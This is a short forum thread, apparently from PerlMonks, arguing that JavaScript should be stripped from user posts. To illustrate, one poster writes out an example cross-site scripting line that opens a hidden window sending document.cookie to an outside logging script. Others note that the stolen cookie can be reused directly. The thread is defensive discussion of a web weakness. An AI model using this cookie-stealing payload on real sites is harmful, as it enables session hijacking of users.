javascript must be automatically removed from posts... imagine this javascript code (unchecked):

     openwindow("http://host.com/log.pl?cc="+document.cookie,"_blank",
+"width=0,height=0,toolbar=0,statusbar=0,menu=0");
[download]

Agree. I posted to Perl Monks Discussion about javascript in nodes once: Filtering potentially dangerous URI schemas in <a href="...">

--
Ilya Martynov, ilya@iponweb.net
CTO IPonWEB (UK) Ltd
Quality Perl Programming and Unix Support UK managed @ offshore prices - http://www.iponweb.net
Personal website - http://martynov.org

Be careful with those, BTW -- IIRC, the hash on the password is reversable (given enough background data). It used to be even worse; the password used to be in plaintext, IIRC.)

If you read the thread posted by IlyaM you'll see that it doesn't even need to be reversed to be used/exploited. Unless changes have been made since. :)

---

You have moved into a dark place.
It is pitch black. You are likely to be eaten by a grue.